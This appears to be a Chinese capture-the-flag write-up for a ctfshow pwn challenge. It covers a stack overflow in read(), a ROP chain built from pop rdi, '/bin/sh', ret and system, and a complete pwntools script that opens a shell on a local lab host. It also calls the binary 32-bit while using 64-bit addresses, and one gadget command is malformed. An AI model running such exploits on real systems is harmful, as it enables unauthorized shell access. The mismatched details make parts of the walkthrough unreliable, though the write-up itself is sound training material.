目錄
1. 分析程序
2. 漏洞編寫
3. 漏洞驗證
1. 分析程序
首先檢查程序相關保護,發現程序為32位且只開啟了一個NX保護
checksec pwn
使用IDA進行逆向分析代碼,查看漏洞觸發點:
在main函數中,有一個ctfshow函數,這里我們跟進ctfshow()
發現存在一個read函數,此函數寫法存在漏洞,buf限制的是0x14個字節,但是可以傳入0x32個字節并造成棧溢出。
- 當程序執行到
read(0, buf, 0x32u)
時:
- 程序會阻塞等待用戶輸入
- 用戶通過鍵盤(或輸入重定向)輸入數據
- 輸入的數據會被原樣復制到
buf
指向的內存中
????????同時我們注意到,程序存在一個后門函數hint(),但是hint函數不是system("/bin/sh")了,而是 puts("/bin/sh")和return system("echo 'You find me?'"),因此我們需要通過組合,重新將其拼接成system("/bin/sh")。
????????首先我們獲取到system函數地址,以及/bin/sh所在內存位置,這里通過工具objdump以及ROPgadget進行查找,使用objdump查找system函數所在具體位置,輸入objdump -d -j .plt pwn,可以看到地址為0x400520。
????????使用ROPgadget查找/bin/sh所在位置,這里發現了兩個,隨意一個都可以使用:
ROPgadget --binary pwn --string /bin/sh這里我們使用0x0000000000400808
????????64位和32位不同,參數不是直接放在棧上,而是優先放在寄存器rdi,rsi,rdx,rcx,r8,r9。這幾個寄存器放不下時才會考慮棧
????????所以,這里我們還需要使用工具找到找到一個pop_rdi的地址,輸入:ROPgadget --binary pwn --only "pop|ret" | rdi,這里我們使用地址0x00000000004007e3
????????還需要一個返回地址ret做棧對齊:ROPgadget --binary pwn --only "ret",這里我們使用地址0x00000000004004fe
????????計算偏移地址,可以直接在IDA上看到相關偏移地址,到RBP的距離為0xA。
2. 漏洞編寫
????????首先確定基本信息
from pwn import *
context.log_level = 'debug'
io = remote("192.168.79.135",10001)
????????接著構造payload信息,需要計算偏移量,構造ret_rdi、bin_sh、ret、system的函數的地址
ret_edi = 0x00000000004007e3
ret = 0x00000000004004fe
bin_sh = 0x0000000000400808
system= 0x400520payload = b'A'*(0xa+8) + p64(ret_edi) + p64(bin_sh) + p64(ret) + p64(system)
????????最終我們的目的就是通過棧溢出修改返回地址,以控制程序執行流程。它通過調用 pop_rdi 指令將 bin_sh 的地址加載到寄存器rdi中,然后通過 ret 指令進行間接跳轉,最終調用 system 函數,以執行 system(“/bin/sh”)進而獲得一個我們想要的shell。
完整的payload如下:
from pwn import *
context(arch="amd64",os="linux")
io = remote("192.168.79.135",10001)ret_rdi = 0x00000000004007e3
ret = 0x00000000004004fe
bin_sh = 0x0000000000400808
system= 0x400520payload = b'A'*(0xa+8) + p64(ret_rdi) + p64(bin_sh) + p64(ret) + p64(system)io.sendline(payload)
io.interactive()
3. 漏洞驗證
????????服務端啟動相關程序,掛載至本地的10001端口上:
sudo socat TCP4-LISTEN:10001,fork EXEC:./pwn
攻擊端運行編寫好的程序,可以看到獲取了服務端的權限